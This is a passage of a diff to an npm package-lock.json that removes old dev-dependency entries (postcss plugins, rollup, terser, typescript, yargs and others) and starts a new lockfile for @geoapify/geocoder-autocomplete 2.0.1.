- "node": "^14 || ^16 || >=18.0"
- },
- "peerDependencies": {
- "postcss": "^8.2.15"
- }
- },
- "node_modules/postcss-normalize-charset": {
- "version": "6.0.0",
- "resolved": "https://registry.npmjs.org/postcss-normalize-charset/-/postcss-normalize-charset-6.0.0.tgz",
- "integrity": "sha512-cqundwChbu8yO/gSWkuFDmKrCZ2vJzDAocheT2JTd0sFNA4HMGoKMfbk2B+J0OmO0t5GUkiAkSM5yF2rSLUjgQ==",
- "dev": true,
- "engines": {
- "node": "^14 || ^16 || >=18.0"
- },
- "peerDependencies": {
- "postcss": "^8.2.15"
- }
- },
- "node_modules/postcss-normalize-display-values": {
- "version": "6.0.0",
- "resolved": "https://registry.npmjs.org/postcss-normalize-display-values/-/postcss-normalize-display-values-6.0.0.tgz",
- "integrity": "sha512-Qyt5kMrvy7dJRO3OjF7zkotGfuYALETZE+4lk66sziWSPzlBEt7FrUshV6VLECkI4EN8Z863O6Nci4NXQGNzYw==",
- "dev": true,
- "dependencies": {
- "postcss-value-parser": "^4.2.0"
- },
- "engines": {
- "node": "^14 || ^16 || >=18.0"
- },
- "peerDependencies": {
- "postcss": "^8.2.15"
- }
- },
- "node_modules/postcss-normalize-positions": {
- "version": "6.0.0",
- "resolved": "https://registry.npmjs.org/postcss-normalize-positions/-/postcss-normalize-positions-6.0.0.tgz",
- "integrity": "sha512-mPCzhSV8+30FZyWhxi6UoVRYd3ZBJgTRly4hOkaSifo0H+pjDYcii/aVT4YE6QpOil15a5uiv6ftnY3rm0igPg==",
- "dev": true,
- "dependencies": {
- "postcss-value-parser": "^4.2.0"
- },
- "engines": {
- "node": "^14 || ^16 || >=18.0"
- },
- "peerDependencies": {
- "postcss": "^8.2.15"
- }
- },
- "node_modules/postcss-normalize-repeat-style": {
- "version": "6.0.0",
- "resolved": "https://registry.npmjs.org/postcss-normalize-repeat-style/-/postcss-normalize-repeat-style-6.0.0.tgz",
- "integrity": "sha512-50W5JWEBiOOAez2AKBh4kRFm2uhrT3O1Uwdxz7k24aKtbD83vqmcVG7zoIwo6xI2FZ/HDlbrCopXhLeTpQib1A==",
- "dev": true,
- "dependencies": {
- "postcss-value-parser": "^4.2.0"
- },
- "engines": {
- "node": "^14 || ^16 || >=18.0"
- },
- "peerDependencies": {
- "postcss": "^8.2.15"
- }
- },
- "node_modules/postcss-normalize-string": {
- "version": "6.0.0",
- "resolved": "https://registry.npmjs.org/postcss-normalize-string/-/postcss-normalize-string-6.0.0.tgz",
- "integrity": "sha512-KWkIB7TrPOiqb8ZZz6homet2KWKJwIlysF5ICPZrXAylGe2hzX/HSf4NTX2rRPJMAtlRsj/yfkrWGavFuB+c0w==",
- "dev": true,
- "dependencies": {
- "postcss-value-parser": "^4.2.0"
- },
- "engines": {
- "node": "^14 || ^16 || >=18.0"
- },
- "peerDependencies": {
- "postcss": "^8.2.15"
- }
- },
- "node_modules/postcss-normalize-timing-functions": {
- "version": "6.0.0",
- "resolved": "https://registry.npmjs.org/postcss-normalize-timing-functions/-/postcss-normalize-timing-functions-6.0.0.tgz",
- "integrity": "sha512-tpIXWciXBp5CiFs8sem90IWlw76FV4oi6QEWfQwyeREVwUy39VSeSqjAT7X0Qw650yAimYW5gkl2Gd871N5SQg==",
- "dev": true,
- "dependencies": {
- "postcss-value-parser": "^4.2.0"
- },
- "engines": {
- "node": "^14 || ^16 || >=18.0"
- },
- "peerDependencies": {
- "postcss": "^8.2.15"
- }
- },
- "node_modules/postcss-normalize-unicode": {
- "version": "6.0.0",
- "resolved": "https://registry.npmjs.org/postcss-normalize-unicode/-/postcss-normalize-unicode-6.0.0.tgz",
- "integrity": "sha512-ui5crYkb5ubEUDugDc786L/Me+DXp2dLg3fVJbqyAl0VPkAeALyAijF2zOsnZyaS1HyfPuMH0DwyY18VMFVNkg==",
- "dev": true,
- "dependencies": {
- "browserslist": "^4.21.4",
- "postcss-value-parser": "^4.2.0"
- },
- "engines": {
- "node": "^14 || ^16 || >=18.0"
- },
- "peerDependencies": {
- "postcss": "^8.2.15"
- }
- },
- "node_modules/postcss-normalize-url": {
- "version": "6.0.0",
- "resolved": "https://registry.npmjs.org/postcss-normalize-url/-/postcss-normalize-url-6.0.0.tgz",
- "integrity": "sha512-98mvh2QzIPbb02YDIrYvAg4OUzGH7s1ZgHlD3fIdTHLgPLRpv1ZTKJDnSAKr4Rt21ZQFzwhGMXxpXlfrUBKFHw==",
- "dev": true,
- "dependencies": {
- "postcss-value-parser": "^4.2.0"
- },
- "engines": {
- "node": "^14 || ^16 || >=18.0"
- },
- "peerDependencies": {
- "postcss": "^8.2.15"
- }
- },
- "node_modules/postcss-normalize-whitespace": {
- "version": "6.0.0",
- "resolved": "https://registry.npmjs.org/postcss-normalize-whitespace/-/postcss-normalize-whitespace-6.0.0.tgz",
- "integrity": "sha512-7cfE1AyLiK0+ZBG6FmLziJzqQCpTQY+8XjMhMAz8WSBSCsCNNUKujgIgjCAmDT3cJ+3zjTXFkoD15ZPsckArVw==",
- "dev": true,
- "dependencies": {
- "postcss-value-parser": "^4.2.0"
- },
- "engines": {
- "node": "^14 || ^16 || >=18.0"
- },
- "peerDependencies": {
- "postcss": "^8.2.15"
- }
- },
- "node_modules/postcss-ordered-values": {
- "version": "6.0.0",
- "resolved": "https://registry.npmjs.org/postcss-ordered-values/-/postcss-ordered-values-6.0.0.tgz",
- "integrity": "sha512-K36XzUDpvfG/nWkjs6d1hRBydeIxGpKS2+n+ywlKPzx1nMYDYpoGbcjhj5AwVYJK1qV2/SDoDEnHzlPD6s3nMg==",
- "dev": true,
- "dependencies": {
- "cssnano-utils": "^4.0.0",
- "postcss-value-parser": "^4.2.0"
- },
- "engines": {
- "node": "^14 || ^16 || >=18.0"
- },
- "peerDependencies": {
- "postcss": "^8.2.15"
- }
- },
- "node_modules/postcss-reduce-initial": {
- "version": "6.0.0",
- "resolved": "https://registry.npmjs.org/postcss-reduce-initial/-/postcss-reduce-initial-6.0.0.tgz",
- "integrity": "sha512-s2UOnidpVuXu6JiiI5U+fV2jamAw5YNA9Fdi/GRK0zLDLCfXmSGqQtzpUPtfN66RtCbb9fFHoyZdQaxOB3WxVA==",
- "dev": true,
- "dependencies": {
- "browserslist": "^4.21.4",
- "caniuse-api": "^3.0.0"
- },
- "engines": {
- "node": "^14 || ^16 || >=18.0"
- },
- "peerDependencies": {
- "postcss": "^8.2.15"
- }
- },
- "node_modules/postcss-reduce-transforms": {
- "version": "6.0.0",
- "resolved": "https://registry.npmjs.org/postcss-reduce-transforms/-/postcss-reduce-transforms-6.0.0.tgz",
- "integrity": "sha512-FQ9f6xM1homnuy1wLe9lP1wujzxnwt1EwiigtWwuyf8FsqqXUDUp2Ulxf9A5yjlUOTdCJO6lonYjg1mgqIIi2w==",
- "dev": true,
- "dependencies": {
- "postcss-value-parser": "^4.2.0"
- },
- "engines": {
- "node": "^14 || ^16 || >=18.0"
- },
- "peerDependencies": {
- "postcss": "^8.2.15"
- }
- },
- "node_modules/postcss-reporter": {
- "version": "7.0.5",
- "resolved": "https://registry.npmjs.org/postcss-reporter/-/postcss-reporter-7.0.5.tgz",
- "integrity": "sha512-glWg7VZBilooZGOFPhN9msJ3FQs19Hie7l5a/eE6WglzYqVeH3ong3ShFcp9kDWJT1g2Y/wd59cocf9XxBtkWA==",
- "dev": true,
- "dependencies": {
- "picocolors": "^1.0.0",
- "thenby": "^1.3.4"
- },
- "engines": {
- "node": ">=10"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/postcss/"
- },
- "peerDependencies": {
- "postcss": "^8.1.0"
- }
- },
- "node_modules/postcss-selector-parser": {
- "version": "6.0.13",
- "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-6.0.13.tgz",
- "integrity": "sha512-EaV1Gl4mUEV4ddhDnv/xtj7sxwrwxdetHdWUGnT4VJQf+4d05v6lHYZr8N573k5Z0BViss7BDhfWtKS3+sfAqQ==",
- "dev": true,
- "dependencies": {
- "cssesc": "^3.0.0",
- "util-deprecate": "^1.0.2"
- },
- "engines": {
- "node": ">=4"
- }
- },
- "node_modules/postcss-svgo": {
- "version": "6.0.0",
- "resolved": "https://registry.npmjs.org/postcss-svgo/-/postcss-svgo-6.0.0.tgz",
- "integrity": "sha512-r9zvj/wGAoAIodn84dR/kFqwhINp5YsJkLoujybWG59grR/IHx+uQ2Zo+IcOwM0jskfYX3R0mo+1Kip1VSNcvw==",
- "dev": true,
- "dependencies": {
- "postcss-value-parser": "^4.2.0",
- "svgo": "^3.0.2"
- },
- "engines": {
- "node": "^14 || ^16 || >= 18"
- },
- "peerDependencies": {
- "postcss": "^8.2.15"
- }
- },
- "node_modules/postcss-unique-selectors": {
- "version": "6.0.0",
- "resolved": "https://registry.npmjs.org/postcss-unique-selectors/-/postcss-unique-selectors-6.0.0.tgz",
- "integrity": "sha512-EPQzpZNxOxP7777t73RQpZE5e9TrnCrkvp7AH7a0l89JmZiPnS82y216JowHXwpBCQitfyxrof9TK3rYbi7/Yw==",
- "dev": true,
- "dependencies": {
- "postcss-selector-parser": "^6.0.5"
- },
- "engines": {
- "node": "^14 || ^16 || >=18.0"
- },
- "peerDependencies": {
- "postcss": "^8.2.15"
- }
- },
- "node_modules/postcss-value-parser": {
- "version": "4.2.0",
- "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-4.2.0.tgz",
- "integrity": "sha512-1NNCs6uurfkVbeXG4S8JFT9t19m45ICnif8zWLd5oPSZ50QnwMfK+H3jv408d4jw/7Bttv5axS5IiHoLaVNHeQ==",
- "dev": true
- },
- "node_modules/pretty-hrtime": {
- "version": "1.0.3",
- "resolved": "https://registry.npmjs.org/pretty-hrtime/-/pretty-hrtime-1.0.3.tgz",
- "integrity": "sha512-66hKPCr+72mlfiSjlEB1+45IjXSqvVAIy6mocupoww4tBFE9R9IhwwUGoI4G++Tc9Aq+2rxOt0RFU6gPcrte0A==",
- "dev": true,
- "engines": {
- "node": ">= 0.8"
- }
- },
- "node_modules/queue-microtask": {
- "version": "1.2.3",
- "resolved": "https://registry.npmjs.org/queue-microtask/-/queue-microtask-1.2.3.tgz",
- "integrity": "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==",
- "dev": true,
- "funding": [
- {
- "type": "github",
- "url": "https://github.com/sponsors/feross"
- },
- {
- "type": "patreon",
- "url": "https://www.patreon.com/feross"
- },
- {
- "type": "consulting",
- "url": "https://feross.org/support"
- }
- ]
- },
- "node_modules/randombytes": {
- "version": "2.1.0",
- "resolved": "https://registry.npmjs.org/randombytes/-/randombytes-2.1.0.tgz",
- "integrity": "sha512-vYl3iOX+4CKUWuxGi9Ukhie6fsqXqS9FE2Zaic4tNFD2N2QQaXOMFbuKK4QmDHC0JO6B1Zp41J0LpT0oR68amQ==",
- "dev": true,
- "dependencies": {
- "safe-buffer": "^5.1.0"
- }
- },
- "node_modules/read-cache": {
- "version": "1.0.0",
- "resolved": "https://registry.npmjs.org/read-cache/-/read-cache-1.0.0.tgz",
- "integrity": "sha512-Owdv/Ft7IjOgm/i0xvNDZ1LrRANRfew4b2prF3OWMQLxLfu3bS8FVhCsrSCMK4lR56Y9ya+AThoTpDCTxCmpRA==",
- "dev": true,
- "dependencies": {
- "pify": "^2.3.0"
- }
- },
- "node_modules/readdirp": {
- "version": "3.6.0",
- "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz",
- "integrity": "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==",
- "dev": true,
- "dependencies": {
- "picomatch": "^2.2.1"
- },
- "engines": {
- "node": ">=8.10.0"
- }
- },
- "node_modules/require-directory": {
- "version": "2.1.1",
- "resolved": "https://registry.npmjs.org/require-directory/-/require-directory-2.1.1.tgz",
- "integrity": "sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q==",
- "dev": true,
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/resolve": {
- "version": "1.22.6",
- "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.22.6.tgz",
- "integrity": "sha512-njhxM7mV12JfufShqGy3Rz8j11RPdLy4xi15UurGJeoHLfJpVXKdh3ueuOqbYUcDZnffr6X739JBo5LzyahEsw==",
- "dev": true,
- "dependencies": {
- "is-core-module": "^2.13.0",
- "path-parse": "^1.0.7",
- "supports-preserve-symlinks-flag": "^1.0.0"
- },
- "bin": {
- "resolve": "bin/resolve"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/reusify": {
- "version": "1.0.4",
- "resolved": "https://registry.npmjs.org/reusify/-/reusify-1.0.4.tgz",
- "integrity": "sha512-U9nH88a3fc/ekCF1l0/UP1IosiuIjyTh7hBvXVMHYgVcfGvt897Xguj2UOLDeI5BG2m7/uwyaLVT6fbtCwTyzw==",
- "dev": true,
- "engines": {
- "iojs": ">=1.0.0",
- "node": ">=0.10.0"
- }
- },
- "node_modules/rollup": {
- "version": "3.29.2",
- "resolved": "https://registry.npmjs.org/rollup/-/rollup-3.29.2.tgz",
- "integrity": "sha512-CJouHoZ27v6siztc21eEQGo0kIcE5D1gVPA571ez0mMYb25LGYGKnVNXpEj5MGlepmDWGXNjDB5q7uNiPHC11A==",
- "dev": true,
- "bin": {
- "rollup": "dist/bin/rollup"
- },
- "engines": {
- "node": ">=14.18.0",
- "npm": ">=8.0.0"
- },
- "optionalDependencies": {
- "fsevents": "~2.3.2"
- }
- },
- "node_modules/rollup-plugin-terser": {
- "version": "7.0.2",
- "resolved": "https://registry.npmjs.org/rollup-plugin-terser/-/rollup-plugin-terser-7.0.2.tgz",
- "integrity": "sha512-w3iIaU4OxcF52UUXiZNsNeuXIMDvFrr+ZXK6bFZ0Q60qyVfq4uLptoS4bbq3paG3x216eQllFZX7zt6TIImguQ==",
- "deprecated": "This package has been deprecated and is no longer maintained. Please use @rollup/plugin-terser",
- "dev": true,
- "dependencies": {
- "@babel/code-frame": "^7.10.4",
- "jest-worker": "^26.2.1",
- "serialize-javascript": "^4.0.0",
- "terser": "^5.0.0"
- },
- "peerDependencies": {
- "rollup": "^2.0.0"
- }
- },
- "node_modules/run-parallel": {
- "version": "1.2.0",
- "resolved": "https://registry.npmjs.org/run-parallel/-/run-parallel-1.2.0.tgz",
- "integrity": "sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==",
- "dev": true,
- "funding": [
- {
- "type": "github",
- "url": "https://github.com/sponsors/feross"
- },
- {
- "type": "patreon",
- "url": "https://www.patreon.com/feross"
- },
- {
- "type": "consulting",
- "url": "https://feross.org/support"
- }
- ],
- "dependencies": {
- "queue-microtask": "^1.2.2"
- }
- },
- "node_modules/safe-buffer": {
- "version": "5.2.1",
- "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz",
- "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==",
- "dev": true,
- "funding": [
- {
- "type": "github",
- "url": "https://github.com/sponsors/feross"
- },
- {
- "type": "patreon",
- "url": "https://www.patreon.com/feross"
- },
- {
- "type": "consulting",
- "url": "https://feross.org/support"
- }
- ]
- },
- "node_modules/serialize-javascript": {
- "version": "4.0.0",
- "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-4.0.0.tgz",
- "integrity": "sha512-GaNA54380uFefWghODBWEGisLZFj00nS5ACs6yHa9nLqlLpVLO8ChDGeKRjZnV4Nh4n0Qi7nhYZD/9fCPzEqkw==",
- "dev": true,
- "dependencies": {
- "randombytes": "^2.1.0"
- }
- },
- "node_modules/slash": {
- "version": "5.1.0",
- "resolved": "https://registry.npmjs.org/slash/-/slash-5.1.0.tgz",
- "integrity": "sha512-ZA6oR3T/pEyuqwMgAKT0/hAv8oAXckzbkmR0UkUosQ+Mc4RxGoJkRmwHgHufaenlyAgE1Mxgpdcrf75y6XcnDg==",
- "dev": true,
- "engines": {
- "node": ">=14.16"
- },
- "funding": {
- "url": "https://github.com/sponsors/sindresorhus"
- }
- },
- "node_modules/source-map": {
- "version": "0.6.1",
- "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz",
- "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==",
- "dev": true,
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/source-map-js": {
- "version": "1.0.2",
- "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.0.2.tgz",
- "integrity": "sha512-R0XvVJ9WusLiqTCEiGCmICCMplcCkIwwR11mOSD9CR5u+IXYdiseeEuXCVAjS54zqwkLcPNnmU4OeJ6tUrWhDw==",
- "dev": true,
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/source-map-support": {
- "version": "0.5.21",
- "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.21.tgz",
- "integrity": "sha512-uBHU3L3czsIyYXKX88fdrGovxdSCoTGDRZ6SYXtSRxLZUzHg5P/66Ht6uoUlHu9EZod+inXhKo3qQgwXUT/y1w==",
- "dev": true,
- "dependencies": {
- "buffer-from": "^1.0.0",
- "source-map": "^0.6.0"
- }
- },
- "node_modules/string-width": {
- "version": "4.2.3",
- "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz",
- "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==",
- "dev": true,
- "dependencies": {
- "emoji-regex": "^8.0.0",
- "is-fullwidth-code-point": "^3.0.0",
- "strip-ansi": "^6.0.1"
- },
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/strip-ansi": {
- "version": "6.0.1",
- "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz",
- "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==",
- "dev": true,
- "dependencies": {
- "ansi-regex": "^5.0.1"
- },
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/stylehacks": {
- "version": "6.0.0",
- "resolved": "https://registry.npmjs.org/stylehacks/-/stylehacks-6.0.0.tgz",
- "integrity": "sha512-+UT589qhHPwz6mTlCLSt/vMNTJx8dopeJlZAlBMJPWA3ORqu6wmQY7FBXf+qD+FsqoBJODyqNxOUP3jdntFRdw==",
- "dev": true,
- "dependencies": {
- "browserslist": "^4.21.4",
- "postcss-selector-parser": "^6.0.4"
- },
- "engines": {
- "node": "^14 || ^16 || >=18.0"
- },
- "peerDependencies": {
- "postcss": "^8.2.15"
- }
- },
- "node_modules/supports-color": {
- "version": "5.5.0",
- "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz",
- "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==",
- "dev": true,
- "dependencies": {
- "has-flag": "^3.0.0"
- },
- "engines": {
- "node": ">=4"
- }
- },
- "node_modules/supports-preserve-symlinks-flag": {
- "version": "1.0.0",
- "resolved": "https://registry.npmjs.org/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz",
- "integrity": "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==",
- "dev": true,
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/svgo": {
- "version": "3.0.2",
- "resolved": "https://registry.npmjs.org/svgo/-/svgo-3.0.2.tgz",
- "integrity": "sha512-Z706C1U2pb1+JGP48fbazf3KxHrWOsLme6Rv7imFBn5EnuanDW1GPaA/P1/dvObE670JDePC3mnj0k0B7P0jjQ==",
- "dev": true,
- "dependencies": {
- "@trysound/sax": "0.2.0",
- "commander": "^7.2.0",
- "css-select": "^5.1.0",
- "css-tree": "^2.2.1",
- "csso": "^5.0.5",
- "picocolors": "^1.0.0"
- },
- "bin": {
- "svgo": "bin/svgo"
- },
- "engines": {
- "node": ">=14.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/svgo"
- }
- },
- "node_modules/terser": {
- "version": "5.19.4",
- "resolved": "https://registry.npmjs.org/terser/-/terser-5.19.4.tgz",
- "integrity": "sha512-6p1DjHeuluwxDXcuT9VR8p64klWJKo1ILiy19s6C9+0Bh2+NWTX6nD9EPppiER4ICkHDVB1RkVpin/YW2nQn/g==",
- "dev": true,
- "dependencies": {
- "@jridgewell/source-map": "^0.3.3",
- "acorn": "^8.8.2",
- "commander": "^2.20.0",
- "source-map-support": "~0.5.20"
- },
- "bin": {
- "terser": "bin/terser"
- },
- "engines": {
- "node": ">=10"
- }
- },
- "node_modules/terser/node_modules/commander": {
- "version": "2.20.3",
- "resolved": "https://registry.npmjs.org/commander/-/commander-2.20.3.tgz",
- "integrity": "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==",
- "dev": true
- },
- "node_modules/thenby": {
- "version": "1.3.4",
- "resolved": "https://registry.npmjs.org/thenby/-/thenby-1.3.4.tgz",
- "integrity": "sha512-89Gi5raiWA3QZ4b2ePcEwswC3me9JIg+ToSgtE0JWeCynLnLxNr/f9G+xfo9K+Oj4AFdom8YNJjibIARTJmapQ==",
- "dev": true
- },
- "node_modules/to-regex-range": {
- "version": "5.0.1",
- "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz",
- "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==",
- "dev": true,
- "dependencies": {
- "is-number": "^7.0.0"
- },
- "engines": {
- "node": ">=8.0"
- }
- },
- "node_modules/tslib": {
- "version": "2.6.2",
- "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.6.2.tgz",
- "integrity": "sha512-AEYxH93jGFPn/a2iVAwW87VuUIkR1FVUKB77NwMF7nBTDkDrrT/Hpt/IrCJ0QXhW27jTBDcf5ZY7w6RiqTMw2Q==",
- "dev": true
- },
- "node_modules/typescript": {
- "version": "5.2.2",
- "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.2.2.tgz",
- "integrity": "sha512-mI4WrpHsbCIcwT9cF4FZvr80QUeKvsUsUvKDoR+X/7XHQH98xYD8YHZg7ANtz2GtZt/CBq2QJ0thkGJMHfqc1w==",
- "dev": true,
- "bin": {
- "tsc": "bin/tsc",
- "tsserver": "bin/tsserver"
- },
- "engines": {
- "node": ">=14.17"
- }
- },
- "node_modules/universalify": {
- "version": "2.0.0",
- "resolved": "https://registry.npmjs.org/universalify/-/universalify-2.0.0.tgz",
- "integrity": "sha512-hAZsKq7Yy11Zu1DE0OzWjw7nnLZmJZYTDZZyEFHZdUhV8FkH5MCfoU1XMaxXovpyW5nq5scPqq0ZDP9Zyl04oQ==",
- "dev": true,
- "engines": {
- "node": ">= 10.0.0"
- }
- },
- "node_modules/update-browserslist-db": {
- "version": "1.0.11",
- "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.0.11.tgz",
- "integrity": "sha512-dCwEFf0/oT85M1fHBg4F0jtLwJrutGoHSQXCh7u4o2t1drG+c0a9Flnqww6XUKSfQMPpJBRjU8d4RXB09qtvaA==",
- "dev": true,
- "funding": [
- {
- "type": "opencollective",
- "url": "https://opencollective.com/browserslist"
- },
- {
- "type": "tidelift",
- "url": "https://tidelift.com/funding/github/npm/browserslist"
- },
- {
- "type": "github",
- "url": "https://github.com/sponsors/ai"
- }
- ],
- "dependencies": {
- "escalade": "^3.1.1",
- "picocolors": "^1.0.0"
- },
- "bin": {
- "update-browserslist-db": "cli.js"
- },
- "peerDependencies": {
- "browserslist": ">= 4.21.0"
- }
- },
- "node_modules/util-deprecate": {
- "version": "1.0.2",
- "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz",
- "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==",
- "dev": true
- },
- "node_modules/wrap-ansi": {
- "version": "7.0.0",
- "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz",
- "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==",
- "dev": true,
- "dependencies": {
- "ansi-styles": "^4.0.0",
- "string-width": "^4.1.0",
- "strip-ansi": "^6.0.0"
- },
- "engines": {
- "node": ">=10"
- },
- "funding": {
- "url": "https://github.com/chalk/wrap-ansi?sponsor=1"
- }
- },
- "node_modules/wrap-ansi/node_modules/ansi-styles": {
- "version": "4.3.0",
- "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
- "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
- "dev": true,
- "dependencies": {
- "color-convert": "^2.0.1"
- },
- "engines": {
- "node": ">=8"
- },
- "funding": {
- "url": "https://github.com/chalk/ansi-styles?sponsor=1"
- }
- },
- "node_modules/wrap-ansi/node_modules/color-convert": {
- "version": "2.0.1",
- "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
- "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
- "dev": true,
- "dependencies": {
- "color-name": "~1.1.4"
- },
- "engines": {
- "node": ">=7.0.0"
- }
- },
- "node_modules/wrap-ansi/node_modules/color-name": {
- "version": "1.1.4",
- "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
- "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==",
- "dev": true
- },
- "node_modules/wrappy": {
- "version": "1.0.2",
- "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz",
- "integrity": "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==",
- "dev": true
- },
- "node_modules/y18n": {
- "version": "5.0.8",
- "resolved": "https://registry.npmjs.org/y18n/-/y18n-5.0.8.tgz",
- "integrity": "sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA==",
- "dev": true,
- "engines": {
- "node": ">=10"
- }
- },
- "node_modules/yaml": {
- "version": "2.3.2",
- "resolved": "https://registry.npmjs.org/yaml/-/yaml-2.3.2.tgz",
- "integrity": "sha512-N/lyzTPaJasoDmfV7YTrYCI0G/3ivm/9wdG0aHuheKowWQwGTsK0Eoiw6utmzAnI6pkJa0DUVygvp3spqqEKXg==",
- "dev": true,
- "engines": {
- "node": ">= 14"
- }
- },
- "node_modules/yargs": {
- "version": "17.7.2",
- "resolved": "https://registry.npmjs.org/yargs/-/yargs-17.7.2.tgz",
- "integrity": "sha512-7dSzzRQ++CKnNI/krKnYRV7JKKPUXMEh61soaHKg9mrWEhzFWhFnxPxGl+69cD1Ou63C13NUPCnmIcrvqCuM6w==",
- "dev": true,
- "dependencies": {
- "cliui": "^8.0.1",
- "escalade": "^3.1.1",
- "get-caller-file": "^2.0.5",
- "require-directory": "^2.1.1",
- "string-width": "^4.2.3",
- "y18n": "^5.0.5",
- "yargs-parser": "^21.1.1"
- },
- "engines": {
- "node": ">=12"
- }
- },
- "node_modules/yargs-parser": {
- "version": "21.1.1",
- "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-21.1.1.tgz",
- "integrity": "sha512-tVpsJW7DdjecAiFpbIB1e3qxIQsE6NoPc5/eTdrbbIC4h0LVsWhnoa3g+m2HclBIujHzsxZ4VJVA+GUuc2/LBw==",
- "dev": true,
- "engines": {
- "node": ">=12"
- }
- }
- }
-}
+{
+ "name": "@geoapify/geocoder-autocomplete",
+ "version": "2.0.1",
+ "lockfileVersion": 3,
+ "requires": true,
+ "packages": {
+ "": {
+ "name": "@geoapify/geocoder-autocomplete",
+ "version": "2.0.1",
+ "license": "MIT",
+ "devDependencies": {
+ "@rollup/plugin-commonjs": "^25.0.4",
+ "@rollup/plugin-json": "^6.0.0",
+ "@rollup/plugin-node-resolve": "^15.2.1",
